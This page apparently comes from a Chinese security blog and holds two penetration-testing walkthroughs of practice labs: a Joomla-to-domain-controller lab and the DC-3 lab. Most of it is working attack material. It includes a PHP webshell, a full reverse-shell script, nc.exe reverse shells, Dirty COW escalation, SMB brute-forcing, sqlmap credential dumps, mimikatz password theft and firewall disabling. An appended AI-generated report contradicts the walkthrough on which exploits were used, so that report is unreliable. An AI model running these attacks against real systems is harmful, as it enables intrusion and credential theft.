d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 | 0 | 0 | 2025-02-25 19:56:54 | 2025-02-25 19:56:54 | | | 2025-02-25 19:56:54 | 0 | | | 0 | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ 2 rows in set (0.001 sec) MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) -> VALUES (896,'8'); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_user_usergroup_map`; +---------+----------+ | user_id | group_id | +---------+----------+ | 891 | 8 | | 896 | 8 | +---------+----------+ 2 rows in set (0.001 sec)从上面那个网站可以知道账号密码为admin2/secret(注意数据一定要对应上,用户id需要对应,并且不能有重复的数据,否则都有可能登录不成功)我们修改主题文件为kali默认的反弹shell文件内容,并修改ip和端口但是呢反弹失败了,切换思路写一句话木马<?php @eval($_POST['pass']);?>使用蚁剑连接内网渗透这里呢被禁用命令了,也难怪刚刚反弹不成功这里我们需要蚁剑的一个插件(魔法)在列表页使用插件使用这个模式就可以正常执行命令啦,后面又试了试各种反弹shell的命令,都没有成功,那么只能利用这个蚁剑的shell了在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqxssh连接失败,提示信息为算法问题那么需要加上算法ssh wwwuser@192.168.1.110 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa # 以下是常见的解决方案 ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集使用icmp协议探测内网ip存活数量,发现了另外4台主机()for i in {1..254}; do (ping -c 1 192.168.93.${i} | grep "bytes from" | grep -v "Unreachable" &); done;上传frpkali开启frp服务器,frp相对详细使用教程见-- 三种代理方式打入内网靶机连接kali的frp服务器修改代理文件vi /etc/proxychains4.conf分别对10,20,120进行端口扫描(耗时可能有点久),第一台和第三台都是windows服务器proxychains nmap -sT -sV -Pn 192.168.93.10 -T4proxychains nmap -sT -sV -Pn 192.168.93.20 -T4proxychains nmap -sT -sV -Pn 192.168.93.30 -T4这台扫描结果是linux的服务器,开着ssh和3306端口,并且80也开着的proxychains nmap -sT -sV -Pn 192.168.93.120 -T4开启浏览器代理,代理到我们的kali,通过kali的代理访问这个内网靶机这是内网中的一个靶机,也是同样的cms,那么我们可不可以以同样的方式去获取密码再次利用joomscan这个工具,扫描结果也是一样的proxychains joomscan --url http://192.168.93.120/和刚刚的配置文件一模一样,那么大概率是使用的内网映射了,源主机是120,但是访问的是100那台具有nat网卡的主机连接ssh后,继续信息收集提权(可跳过)# kali git clone https://github.com/firefart/dirtycow.git cd dirtycow python -m http.server 5000 # 靶机 wget 192.168.1.8:5000/dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty my-new-password mv /tmp/passwd.bak /etc/passwd su firefart password:123456成功提权到最高权限第一台web服务器拿下利用nmap对两台windows靶机的445端口进行漏洞扫描,判断是否存在永恒之蓝漏洞(三台接没有)那么还有一种方法就是SMB爆破了,非常巧,在我的top1000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~),再很巧,两个靶机的smb密码都是123qwe!ASDproxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" smb://192.168.93.30 proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" smb://192.168.93.20域渗透本机windows打开 proxifier,并设置全局代理打开本机windows的cmd,此时就能连接第一台smb服务器,192.168.93.20net use \192.168.93.20ipc$ "123qwe!ASD" /user:administrator # 通过 net use 命令连接到目标服务器的 IPC$ 共享。 dir \192.168.93.20c$ # 列出目标服务器上 C$ 共享目录的内容。第二台192.168.93.30那么接下来就要关闭目标防火墙,开启远程连接,首先创建一个进程,关闭失败sc \192.168.93.20 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.20 start unablefirewall那么添加计划任务关闭防火墙试试呢at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off' at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'接下来就是修改注册表了,计划任务设置允许远程登录at \192.168.93.20 23:31:00 "reg add 'HKLMSYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"计划任务放行3389端口at \192.168.93.20 23:32:00 'netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389'尝试远程连接,连接失败,切换思路既然无法关闭那么就使用msf咯proxychains msfconsole set RHOST 192.168.93.20 set LHOST 192.168.93.5 # kali地址 set SMBUser Administrator set SMBPass 123qwe!ASD set LPORT 4444 set payload windows/x64/shell_bind_tcp run这里就已经是系统权限了。。。。并且主机名为win2008查看dns服务器,为192.168.93.10,大概率就是域控服务器了ipconfig /all尝试使用密码123qwe!ASD登录域控服务器其他信息收集,检查是否存在杀软windows defender(不存在)sc query WinDefend查看系统类型,是x64的C:Windowssystem32>systeminfo | findstr /i "system type" systeminfo | findstr /i "系�system type" OS Build Type: Multiprocessor Free System Type: x64-based PC上传mimikatz.exeexit set payload windows/x64/meterpreter/bind_tcp run upload -r /data/windows_atk/mimikatz/x64/mimikatz.exe C:\使用shell执行命令,执行失败了那么就退出,使用shell_bind_tcp模块exit set payload windows/x64/shell_bind_tcp run抓取铭文密码mimikatz.exe log privilege::debug sekurlsa::logonpasswords得到两个域的账号密码,枚举DNS服务器的文件系统TEST:zxcASDqw123!! WIN2008:123qwe!ASD开启远程服务# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f成功获取20靶机远程操作权限使用test域登录dns服务器,登录成功net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator dir \192.168.93.10c$创建执行任务,关闭防火墙,执行不了奥sc \192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.10 start unablefirewall那么就利用nc.exe反弹shellcurl -O http://192.168.1.5:5000/nc.exe net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator copy .nc.exe \192.168.93.10c$ net use \192.168.93.20ipc$ "123qwe!ASD" /user:Administrator copy .nc.exe \192.168.93.20c$可以看到nc已经上传成功了创建一个进程sc \192.168.93.10 create ncshell binpath= "c:nc.exe 192.168.93.20 1234 -e cmd" sc \192.168.93.10 start ncshell在反弹过来的shell中开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f使用远程登录,即可发现允许远程登录了(注意Proxifier全局代理不能断掉)拿下winserver2012域控服务器现在已经拿下了三台,那么接下来就是第四台win7(pc),ip:30,回到刚刚的msfset RHOSTS 192.168.93.30开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f此时已经可以远程连接,输入之前获得的密码即可拿下第最后一台PC主机至此渗透结束,还可以清除日志,关闭全部远程,恢复到初始状态,做好隐蔽措施渗透测试报告总结(deepseek)1. 测试概述本次渗透测试模拟了针对某企业网络的全流程攻击,覆盖外网打点、内网横向渗透、域控提权等多个阶段。目标网络包含Web服务器(CentOS/Ubuntu)、Windows域环境(2008/2012)及内网PC终端(Win7),最终成功获取域控服务器(Windows Server 2012)及全部内网主机的控制权。2. 攻击路径总览graph TD A[外网入口: Web-CentOS] --> B{漏洞利用} B --> C[Joomla 3.9.12后台接管] C --> D[MySQL凭据泄露] D --> E[Webshell上传 & 蚁剑连接] E --> F[SSH登录 & 内网代理搭建] F --> G[内网主机发现] G --> H[横向移动: SMB爆破 & 永恒之蓝漏洞利用] H --> I[域控服务器渗透] I --> J[域内PC终端控制]3. 外网打点阶段3.1 目标识别 IP地址:192.168.1.110(桥接模式) 开放服务: 22端口:OpenSSH 5.3 80端口:Nginx 1.9.4 + Joomla 3.9.12 3306端口:MySQL 5.5.62 3.2 关键漏洞利用(1) Joomla后台接管 漏洞利用:通过configuration.php~备份文件泄露获取MySQL凭据 攻击链: # 数据库操作 INSERT INTO am2zu_users (...) VALUES (...); # 添加管理员账号 INSERT INTO am2zu_user_usergroup_map (...) VALUES (...); # 分配权限 结果:成功登录Joomla后台(admin2/secret) (2) Webshell植入 方法:通过模板编辑注入PHP一句话木马 工具:蚁剑连接http://192.168.1.110/shell.php 提权:利用Dirty Cow漏洞从wwwuser提权至root 4. 内网横向渗透4.1 网络拓扑分析 网段划分: 仅主机模式:192.168.93.0/24 关键主机: 192.168.93.10(域控-Win2012) 192.168.93.20(Win2008) 192.168.93.30(Win7-PC) 4.2 代理隧道搭建 工具:frp反向代理 配置:# frpc.ini [common] server_addr = 192.168.1.8 server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 4.3 横向移动关键步骤(1) SMB服务爆破 工具:Hydra 命令: proxychains hydra -l Administrator -P passlist.txt smb://192.168.93.20 结果:破解密码123qwe!ASD,获取Win2008控制权 (2) 永恒之蓝漏洞利用 模块:exploit/windows/smb/ms17_010_eternalblue Payload:windows/x64/meterpreter/reverse_tcp 结果:获取Win2008系统级Shell 5. 域渗透与域控提权5.1 域环境分析 域名称:TEST 域控IP:192.168.93.10 关键凭证: WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!! 5.2 域控攻击路径 凭证抓取: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" 远程执行: sc \192.168.93.10 create ncshell binpath="cmd /c c:nc.exe 192.168.93.20 1234 -e cmd" 权限提升:通过RDP连接接管域控服务器 6. 渗透测试结果 主机IP 操作系统 获取权限级别 关键漏洞/方法 192.168.1.110 CentOS 7 root Joomla SQL注入 + Dirty Cow 192.168.93.20 Windows 2008 SYSTEM SMB密码爆破 + Mimikatz 192.168.93.10 Windows 2012 Domain Admin 横向移动 + 凭证重用 192.168.93.30 Windows 7 Administrator 永恒之蓝漏洞利用 7. 风险总结与修复建议7.1 高风险项 弱密码策略 SMB服务密码123qwe!ASD强度不足 建议:启用复杂度策略 + 定期强制修改 过时软件漏洞 Joomla 3.9.12存在未授权数据库写入风险 建议:升级至最新LTS版本 + 禁用备份文件访问 横向防御缺失 内网主机未部署EDR/流量监控 建议:部署微隔离策略 + 启用Windows Defender ATP 7.2 加固措施 网络层: # 防火墙规则示例(Linux) iptables -A INPUT -p tcp --dport 3306 -j DROP # 禁用MySQL外网访问 系统层: # Windows组策略 Set-ItemProperty "HKLM:SYSTEMCurrentControlSetControlLsa" -Name "DisableDomainCreds" -Value 1 # 禁止明文凭据缓存 应用层: # Nginx配置隐藏版本号 server_tokens off; 8. 总结与反思本次测试暴露了企业网络在边界防护、密码管理和漏洞修复方面的严重不足。建议企业: 建立常态化红蓝对抗机制 每季度执行一次外部漏洞扫描 对运维人员开展ATT&CK攻击链防御培训 渗透测试不仅是技术验证,更是安全意识的觉醒。——By 泷羽Sec安全攻防团队往期推荐红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【oscp】vulnerable_docker,三种代理方法打入内网【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程
2025年05月18日
918 阅读
0 评论
0 点赞
2025-05-18
【渗透测试】DC-3提权靶场渗透教程
【渗透测试】DC-3提权靶场渗透教程靶机地址:官网: http://www.five86.com/downloads/DC-3-2.zip 百度网盘: https://pan.baidu.com/s/1nK2rG5Wuh4MDZmsT8tvYkw?pwd=4pa2 夸克: 开启nat模式开机开始渗透,主机发现端口快速扫描80端口服务,并快速找到编程语言御剑扫描后台界面安装 joomscan 这个工具检查检索这个joomla版本信息是3.7.0joomscan -u 192.168.60.131使用searchsploit 来搜索漏洞信息搜索所有 joomla 指定版本的漏洞信息,用法,中间添加一个空格就可以了。再精确,我要找到 joomla 3.7.0 版本的sql注入漏洞复制到剪切板我们可以利用-p选项,我们可以获得有关目标漏洞的更多信息,并将该漏洞的完整路径复制到剪切板上。searchsploit 42033 searchsploit -p 42033我们查看这个内容sqlmap复制上图的payload,并把localhost本地地址替换成靶场地址sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-user这个时候就得到了数据库信息,并使用 --current-user 获取当前数据库用户,可以看到是root用户指定数据库为当前网站的数据库,枚举数据库所有表sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables指定表"#__users",并列出所有的列名sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns我只要username和password两个字段sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump创建一个文件,存储好hash后的密文,使用 john 来爆破一下,提示我们使用--show参数,来显示所有可能的密文得到 admin的密码snoopy,登录后台添加一个php脚本,用于编写一句话木马修改一下这个文件的两个参数,然后全部复制到这个script.php源码如下<?php set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.60.132'; // 你攻击机的IP地址 $port = 1234; // 攻击机nc监听的地址 $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?> 粘贴到这个php木马中kali开启监听默认情况下的模板位置是在 /templates 目录下当前模板名称为 beez3得出脚本位置http://192.168.60.131/templates/beez3/script.php成功上线创建一个交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'上图可以看到不是root用户信息收集两个重要文件的权限查看发布者信息,都没有可疑点那么还是一样,使用searchsploit漏洞检索我们需要的是提权漏洞,再添加关键字 Privilege Escalation找到4.4.x的漏洞,进行尝试可以看到漏洞的产生原因以及利用方法。搜索exp,有一个下载链接下载下来即可解压,并开启http请求复制这个文件的地址就好http://192.168.60.132:8000/39772/exploit.tar靶机下载这个文件,但是提示我们没有权限wget http://192.168.60.132:8000/39772/exploit.tar这个时候就要想到刚刚在网页上能创建php文件的目录了,查找刚刚创建的脚本find / -name "script.php" 2>/dev/null我们在这个文件下载,下载完成解压到这个文件夹中根据这个39772的txt文件提示依次执行提权成功。成功通关!往期推荐飞雪-网络安全见闻如何在GZCTF部署简单的Web和PWN动态flag?【CTF杂项】常见文件文件头、文件尾格式总结及各类文件头一款开源持续更新的后渗透免杀框架【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析
2025年05月18日
969 阅读
0 评论
0 点赞
1
...
14
15
16